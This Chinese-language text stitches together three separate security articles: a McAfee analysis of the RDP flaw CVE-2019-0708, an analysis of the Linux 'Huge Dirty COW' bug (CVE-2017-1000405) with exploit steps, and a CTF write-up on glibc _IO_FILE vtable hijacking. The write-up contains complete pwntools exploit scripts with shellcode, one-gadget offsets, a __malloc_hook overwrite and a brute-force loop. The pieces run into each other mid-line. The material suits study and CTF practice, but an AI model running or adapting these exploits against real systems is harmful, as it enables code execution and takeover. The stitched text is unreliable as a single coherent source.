在微软今年五月份的漏洞更新安全公告中，提到了一个跟远程桌面协议（RDP）有关的漏洞。我们之所以要在这里专门针对这个漏洞进行分析，是因为这个漏洞更新涉及到Windows
XP以及其他多个Windows操作系统，而众所周知，Windows
XP已经很多年没有过更新了。那么为什么微软这一次要修复这个高危漏洞呢？别着急，我们现在一起来看一看！
根据微软发布的安全公告，这是一个非常严证的安全漏洞，它将导致攻击者在目标设备上实现远程代码执行，并植入蠕虫等恶意软件。这也就意味着，一旦目标组织的其中一台设备受到了感染，整个网络系统内其他未受安全保护的计算机设备也将“无一幸免”。在这份安全公告中，微软提到了著名的网络蠕虫“WannaCry”。在2017年三月份，微软修复了针对该恶意软件的相关漏洞（MS17-010），但是在此之前，很多攻击者都在使用“WannaCry”进行网络攻击。
鉴于该漏洞的安全威胁等级（高危漏洞），攻击者很有可能会在这段时间内开发出相应的漏洞利用工具，McAfee高级威胁研究团队也对该漏洞以及相关的威胁场景进行了深度分析，我们建议广大用户尽快修复漏洞CVE-2019-0708。
## 受影响的操作系统
`Windows 2003
Windows XP
Windows 7
Windows Server 2008
Windows Server 2008 R2`
## RDP协议
远程桌面协议（RDP, Remote Desktop Protocol）是一个多通道（multi-channel）的协议可以帮助用户（客户端或称“本地电脑”）与提供微软终端机服务的电脑（服务器端或称“远程电脑”）建立通信连接。目前，市场上大部分的Windows都安装了远程桌面协议。其他操作系统也有相关的客户端软件，例如Linux、FreeBSD和Mac
OS X等等。
该协议是对国际电信联盟发布的一个国际标准的多通道会议协议T.120
的一个扩展。RDP协议在终端服务推出后已有四个版本，即4.0、5.0、5.1、5.2。一般来说，版本是根据windows的版本确定的。从客户端的角度来说，5.X版本间提供的功能差别不是很大，相对于4.0版本，它提供了用户带密码直接登录、客户端驱动器资源映射、客户端音频回放、最高24位色显示和符合FIPS加密级别连接。另外，从4.0协议开始变提供的客户羰功能有：高、中、低三种数据加密级别，客户端自定义初始登录环境，客户端打印机映射，客户端LPT端口映射，客户端com端口映射，剪贴板映射，客户登录的个性化设置(包括键盘、显示界面大小等)。7.0版：这是最新的版本，仅支持Windows
Server 2008 R2 或 Windows 7及以上版本。
# 漏洞概览
蠕虫病毒可以在受感染的网络系统内进行自我复制和传播，并在受感染的远程主机上自动运行，而不需要用户任何的额外交互。如果一款恶意软件的主要攻击载体是网络的话，那么它就应该被归类为蠕虫。
远程桌面协议（RDP）定义了通信双方在虚拟信道间的数据通信方式，支持客户端建立点到点的连接。这种虚拟信道为双向数据通道，可以扩展RDP的功能。Windows
Server 2000在RDP
v5.1中定义了32种静态虚拟信道（SVC），但是由于其中涉及还到大量动态虚拟信道（DVC），因此可用的信道数量以及种类会受到一定限制。SVC是在会话开始时创建的，并在会话终止前保持不变，但DVC不同，因为它是根据用户需求来创建和删除的。
## 漏洞分析
漏洞CVE-2019-0708涉及到了RDP驱动器termdd.sys中的_IcaBindVirtualChannels
和_IcaRebindVirtualChannels。我们可以从下图中看到，系统初始化了RDP连接序列，并且会在安全机制启用前完成信道的建立，这就导致了漏洞CVE-2019-0708的可蠕虫化，因为它可以通过开放端口3389在目标网络系统内实现自我复制和传播。
先给大家简单介绍一下“MS_T120”这个静态虚拟信道，它的RDP信道编号为31，位于GCC会话初始序列中。这是一个微软内部使用的信道名称，而且在客户端通过一个SVC来请求建立连接时，不会显示关于“MS_T120”这个信道的使用信息。
下图显示的是GCC会话初始化序列的信道请求信息，我们可以看到其中不涉及到任何关于MS_T120信道的信息。
但是在GCC会话初始化的过程中，客户端提供的信道名称并不在服务器端的白名单中，因此攻击者将能够设置另一个名为“MS_T120”的SVC信道（而不是之前编号为31的合法信道）来让目标系统发生堆内存崩溃，或实现远程代码执行。
下图显示的是GCC会话初始化过程中的非正常信道请求（“MS_T120”信道编号为4）：
MS_T120信道管理中涉及到的组件我们在下图中进行了标注。MS_T120参考信道会在rdpwsx.dll中创建，堆内存也会在rdpwp.sys中分配内存池。当MS_T120参考信道在信道编号非31的场景下建立时，便会发生堆内存崩溃。
下图显示的是微软的漏洞修复情况，微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels函数中的客户端连接请求部分添加了针对信道名称“MS_T120”的检测代码，并确保该信道会跟信道序列31进行绑定。
在对Windows 2003和Windows
XP的漏洞补丁进行了分析之后，我们弄清楚了RDP协议在安装补丁之前以及安装补丁之后的信道解析流程，因此我们打算针对这个漏洞开发一份漏洞概念验证代码，并尝试在目标设备上利用该漏洞来实现远程代码执行，然后启动计算器程序。
**下图为我们PoC程序的执行截图：**
经过简单配置之后，我们在目标设备上启用了远程桌面协议，并且在运行概念验证代码前确保了该设备没有安装漏洞补丁。
我们通过研究分析，确认了PoC代码的有效性，并成功在目标系统上实现了远程代码执行。但是，如果目标系统启用了网络等级认证功能，那么这份PoC代码就无法正常运行了。不过攻击者如何能够获取到目标网络系统的管理员凭证，那么他们仍然能够绕过这种安全保护机制。
由于微软已经针对该漏洞发布了相应的漏洞补丁，因此我们就不再详细讨论针对该漏洞的利用方法了，而且出于对广大用户的安全性负责的角度考虑，我们也不打算对外公开我们的PoC代码。
## 缓解方案
1、 确保我们的Windows系统已安装了针对漏洞CVE-2019-0708的安全补丁，我们强烈建议广大用户尽快安装该补丁。
2、
禁止设备在外网使用远程桌面协议，并将其限制在内网使用。如果可以的话，建议广大用户直接禁用远程桌面协议，因为该协议如果被禁用，那么设备安全也就完全不会受到该漏洞的影响了。
3、 在远程桌面协议的GCC会话初始化序列时，将“MS_T120”与信道编号31进行绑定，如果请求的信道编号不正确，则禁止建立连接。
需要注意的是，我们还可以在注册表中修改默认的RDP端口，重启之后我们就可以使用新的通信端口了：
但是，恶意软件在获取到了目标系统的管理员权限之后，是可以修改这种配置参数的，并且在注册表中写入新的通信端口。
## McAfee用户须知
McAfee NSP在2019年5月21日增加了如下所示的签名验证保护，因此McAfee NSP用户不会受到此类攻击的影响：
0x47900c00 “RDP: Microsoft Remote Desktop MS_T120 Channel Bind Attempt” | 社区文章 |
作者：[AVLTeam](http://blog.avlsec.com/2017/12/4961/dirty-cow/ "AVLTeam")
#### 一、背景简介
脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一，这十年来的每一个Linux版本，包括Android、桌面版和服务器版都受到其影响。恶意攻击者通过该漏洞可以轻易地绕过常用的漏洞防御方法，对几百万的用户进行攻击。尽管已针对该漏洞进行了补丁修复，但国外安全公司Bindecy对该补丁和内容做出深入研究后发现，脏牛漏洞的修复补丁仍存在缺陷，由此产生了“大脏牛”漏洞。基于多年以来针对移动端漏洞的技术积累和安全对抗，安天移动安全对“大脏牛”漏洞进行了详细的技术分析，并提供了验证方案，全文如下。
#### 二、漏洞原理分析
###### 2.1 脏牛漏洞回顾
在分析大脏牛漏洞前，我们需要对原始的脏牛漏洞利用方式进行完整的分析理解：
之前的漏洞是在`get_user_pages`函数中，这个函数能够获取用户进程调用的虚拟地址之后的物理地址，调用者需要声明它想要执行的具体操作(例如写/锁等操作)，所以内存管理可以准备相对应的内存页。具体来说，也就是当进行写入私有映射的内存页时，会经过一个COW(写时拷贝)的过程，即复制只读页生成一个带有写权限的新页，原始页可能是私有保护不可写的，但它可以被其他进程映射使用。用户也可以在COW后的新页中修改内容之后重新写入到磁盘中。
现在我们来具体看下`get_user_pages`函数的相关代码：
整个while循环的目的是获取请求页队列中的每个页，反复操作直到满足构建所有内存映射的需求，这也是retry标签的作用。
`follow_page_mask`读取页表来获取指定地址的物理页(同时通过PTE允许)或获取不满足需求的请求内容。在`follow_page_mask`操作中会获取PTE的spinlock，用来保护试图获取内容的物理页不会被释放掉。
`faultin_page`函数申请内存管理的权限(同样有PTE的spinlock保护)来处理目标地址中的错误信息。在成功调用faultin_page后，锁会自动释放，从而保证`follow_page_mask`能够成功进行下一次尝试，以下是涉及到的代码。
原始的漏洞代码在`faultin_page`底部：
上面这个判断语句想要表示的是，如果当前VMA中的标志显示当前页不可写，但是用户又执行了页的写操作，那么内核会执行COW操作，并且在处理中会有VM_FAULT_WRITE标志。换句话说在执行了COW操作后，上面的if判断为真，这时就移除了FOLL_WRITE标志。
一般情况下在COW操作后移除`FOLL_WRITE`标志是没有问题的，因为这时VMA指向的页是刚经过写时拷贝复制的新页，我们是有写权限的，后续不进行写权限检查并不会有问题。
但是，考虑这样一种情况，如果在这个时候用户通过madvise(MADV_DONTNEED)将刚刚申请的新页丢弃掉，那这时本来在`faultin_page`后应该成功的`follow_page_mask`会再次失败，又会进入`faultin_page`的逻辑，但是这个时候已经没有`FOLL_WRITE`的权限检查了，只会检查可读性。这时内核就会将只读页面直接映射到我们的进程空间里，这时VMA指向的页不再是通过COW获得的页，而是文件的原始页，这就获得了任意写文件的能力。
基本来看，上述的过程流也就是脏牛漏洞的利用过程。
在faultin_page中有对应的修复补丁：
同时也加入了另一个新的`follow_page_mask`函数：
与减少权限请求数不同，`get_user_pages`现在记住了经过COW循环的过程。之后只需要有`FOLL_FORCE`和`FOLL_COW`标志声明过且PTE标记为污染，就可以获取只读页的写入操作。
###### 2.2 大脏牛漏洞分析
THP通过PMD(Pages
Medium目录，PTE文件下一级)的`_PAGE_PSE`设置来打开,PMD指向一个2MB的内存页而非PTEs目录。PMDs在每一次扫描到页表时都会通过`pmd_trans_huge`函数进行检查,所以我们可以通过观察PMD指向pfn还是PTEs目录来判断是否可以聚合。在一些结构中，大PUDs(上一级目录)同样存在，这会导致产生1GB的页。
仔细查看脏牛补丁中关于THP的部分，我们可以发现大PMDs中用了和`can_follow_write_pte`同样的逻辑，其添加的对应函数`can_follow_write_pmd`：
然而在大PMD中，一个页可以通过touch_pmd函数，无需COW循环就标记为dirty：
这个函数在每次`get_user_pages`调用`follow_page_mask`试图访问大页面时被调用，很明显这个注释有问题，而现在dirty
bit并非无意义的，尤其是在使用`get_user_pages`来读取大页时，这个页会无需经过COW循环而标记为dirty，使得`can_follow_write_pmd`的逻辑发生错误。
在此时, 如何利用该漏洞就很明显了，我们可以使用类似脏牛的方法。这次在我们丢弃复制的内存页后，必须触发两次page
fault，第一次创建它，第二次写入dirty bit。
调用链：
经过这个过程可以获得一个标记为脏的页面，并且是未COW的，剩下的就是要获取FOLL_FORCE和FOLL_COW标志了。这个过程可以采取类似dirtyCOW的利用方式。
总结这个漏洞利用的思路如下：
1. 首先经过COW循环，获取到FOLL_COW标志
2. 用madvise干掉脏页
3. 再次获取页将直接标记为脏
4. 写入
#### 三、影响范围
###### 3.1 漏洞影响范围
由于从2.6.38内核后才开始支持THP，所以漏洞影响所有内核在2.6.38以上并且开启THP的Linux系统。万幸的是在大多数Android系统的内核中没有开启THP，所以对于Android系统几乎没有影响。
###### 3.2 如何在系统上查看是否受到影响
如果是开发者,有内核源码可以查看编译的config文件，看CONFIG_TRANSPARENT_HUGEPAGE是否打开
如果没有源码,在shell中可以查看/sys/kernel/mm/transparent_hugepage/enabled,如果输出结果为[always]表示透明大页被启用、[never]表示透明大页被禁用、[madvise]表示只在MADV_HUGEPAGE标志的VMA中启用THP，例如：
如果以上两者都没有，可以查看/proc/meminfo，如果连HugePage*都没有，那就说明没有开启大页面，也不会受到漏洞影响。
#### 四、验证代码
验证POC请参照：<https://github.com/bindecy/HugeDirtyCowPOC>
#### 五、修复建议
截止到文章发布时间，Linux各发行版本还未公布针对该漏洞的补丁信息，软件开发人员可通过：[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-4.9.y&id=7031ae2ab37d3df53c4a4e9903329a5d38c745ec](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git/commit/?h=linux-4.9.y&id=7031ae2ab37d3df53c4a4e9903329a5d38c745ec)
新编译Linux修复该漏洞。如果开发人员暂时无法编译和替换内核，可以通过关闭透明大页（THP）来缓解。
#### 六、总结
“脏牛”漏洞是Linux内核之父Linus亲自修复的，他提交的补丁单独针对“脏牛”而言并没有问题。从我们的分析过程中发现，内核的开发者希望将“脏牛”的修复方法引用到PMD的逻辑中，但是由于PMD的逻辑和PTE并不完全一致才最终导致了“大脏牛”漏洞。连内核的开发者都会犯错，更何况普通的开发者。
“大脏牛”漏洞再一次提示我们，即便是官方修复过的漏洞仍有可能由修复补丁引入新的严重漏洞，漏洞在修复后需要我们像对待原始漏洞一样继续跟踪其修复补丁。
#### 七、参考资料
1. <https://medium.com/bindecy/huge-dirty-cow-cve-2017-1000405-110eca132de0>
2. <https://bbs.pediy.com/thread-223056.htm>
3. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000405>
* * * | 社区文章 |
#### 这篇文章是对上一篇的更新，IO_File是很重要的一个环节，学好了对于堆的CTF题目事半功倍，下面进入正题。
#### 一、IO_File结构体一览
首先看一波源码：
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
其实进程中的FILE结构会通过_chain域彼此连接形成一个链表，链表头部用全局变量_IO_list_all表示
，通过这个值我们可以遍历所有的FILE结构。
在标准的I/O库中，stdin、stdout、stderr是在libc.so的数据段的，而且三个文件流是自动打开的
，但是fopen创建的文件流则是在堆中，看下符号长什么样：
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
但是file结构其实只是一小部分，它有个兄弟叫vtable指针，两人一起同属于_IO_File_plus:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
//32位下的偏移是0x94，而64位下偏移是0xd8
在gdb中调试下看看：
Vtable存着哪些可以跳转的函数指针呢？看看
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
这里自己写了个简单的程序去研究：
可以看到一个简单的puts函数，调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>.........malloc(“666”）——>write输出666
_IO_FILE_plus 结构中存在 vtable，一些函数会取出 vtable 中的指针进行调用。
因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚，通过把vtable指向我们控制的内存，并在其中部署函数指针来实现
所以vtable劫持分为2种，一种是直接改写vtable的函数的指针，通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存，然后在其中布置函数指针。
#### 二、修改vtable实现控制程序流程：
#### The_end
有点不寻常的题目，肯定是新姿势，close关闭的话就无法再输出信息，但是前面给了sleep的真实地址，所以直接泄露出来得到onegadget，同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数，接着就是任意地址写5字节的操作了（假想
成格式化字符串写地址），具体往哪里写呢，先来看下结构体：
可以看到setbuf的偏移为88，那么我们可以伪造vtable指针和setbuf地址，选取
**IO_2_1_stdout+160作为我们的setbuf的地址，**
IO_2_1_stdout+160-88就是我们的fake_vtable地址，这样我们一共需要填5次，第一次填写vtable的低2位字节，第二次填写onegadget的低3位字节，由于偏移是不变的，所以直接打：
exp:
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ，{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
for i in range(2):
sd(p64(vtable+i))
sd(p64(fake_vtable)[i])
for i in range(3):
sd(p64(fake_setbuf+i))
sd(p64(onegadget)[i])
p.interactive()
调试看看情况，发现成功改写：
其实这题还可以直接利用exit执行_dl_fini:
我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 ：
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
p = process('./the_end')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ，{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
free_hook = libc_base + libc.symbols["__free_hook"]
fake_got = libc_base + 0x5f0f48
print "fake_got--->" + hex(fake_got)
print "onegadget--->" + hex(onegadget)
for i in range(5):
sd(p64(fake_got+i))
sd(p64(onegadget)[i])
p.interactive()
总结：这种是通过改vtable指针，通过伪造vtable指针来改变跳转。
#### 三、IO_2_1_stdout_泄露地址
这里得看一波源码才了解具体的原理：
首先得知道puts函数的函数调用链：
我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现，结果会执行_IO_new_file_xsputn，最终执行_IO_overflow，我们来看下_IO_puts的源码实现：
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
_IO_new_file_overflow源码分析：
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;//程序会dang，所以我们不能进入这个if分支，所以f->_flags & _IO_NO_WRITES要等于0，所以flag=0xfbad0000
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
//这个分支复杂，最后也会dang，我们不能进去，所以f->_flags & _IO_CURRENTLY_PUTTING=1即可，所以flag=0xfbad0800
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标函数，这里执行_IO_do_write会涉及到syscall，相当于write(1,buf,size),由于目的就是泄露地址，所以buf=_IO_write_base就是我们要修改的值，一般将末尾改成'\x00'，原本是有值的
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
进去do_new_write:
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{//相当于write(1，buf，size)
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)//要进去的话，flag=0xfbad1800
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{//这里虽然可以改，但是如果改成相同的，程序会crash掉，所以要避免进去这个分支
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出，系统调用write
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;//回显出write出来的东西
}
好了，源码解析完毕了，下面就是利用演示了：
这种利用方法针对于没有puts打印函数的情况，但是需要一个前提，就是需要劫持到stdout结构体，一般来说是通过UAF(unsorted
bin切割法得到地址，FD指向unsortedbin)，接着改FD的main_arena+88的末位（若没有则利用攻击global_max_fast的方式去做，使得有fastbin
dump），变成stdout-xx的位置(得有0x7f或者0xff的size，0x7f在0x43的位置，0xff在0x51的位置)，下一次申请时就可以从上往下写，改写flag标志位为0xfbad1800固定值，同时修改IO_Write_base末尾为'\x00'，在flag位和IO_Write_base位之间填写的东西可以为任意值，我们的目的是下溢改写IO_Write_base。
程序就是常规的菜单题：
我们整理出函数，没有puts打印函数，但是有UAF漏洞，可以free完改FD，也可以double free。
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
这里有个问题就是搞到有unsorted_bin的FD指针的堆块，重复利用法：
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')
先申请大块chunk，free用切割法得到有main_arena地址的chunk块，然后利用UAF改写FD指针指向我们的有main_arena地址的堆块，接着再edit这个堆块的FD为stdout-xx(成功实现劫持)，所以这个块是被使用了两次~
再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget，即可getshell。
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ，{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(index,size):
ru("Your choice: ")
sl('1')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Index: ")
sl(str(index))
def edit(index,size,content):
ru("Your choice: ")
sl('4')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def pwn():
malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')
malloc(3,0x60)
edit(5,2,'\xdd\x75')
# debug(0)
malloc(4,0x60)
py = ''
py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
malloc(5,0x60)
edit(5,len(py),py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + 0x4526a
fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23
free(1)
edit(1,8,p64(fake_chunk))
malloc(1,0x60)
malloc(6,0x60)
py = ''
py += 'a'*0x13 + p64(onegadget)
edit(6,len(py),py)
malloc(7,0x60)
i = 1
while 1:
print i
i += 1
try:
pwn()
except Exception as e:
p.close()
local = 1
elf = ELF('./fkroman')
if local:
p = process('./fkroman')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
continue
else:
sl('cat flag')
p.interactive()
总结：这里有1/16的概率可以泄露地址来getshell，但是还是比较简单的，写个循环去爆破就好了。
#### 四、先IO_File泄露地址再修改vtable控制程序流程
拿byteCTF的那道note_five为例：
这题质量还是挺高的，先来看看保护机制:
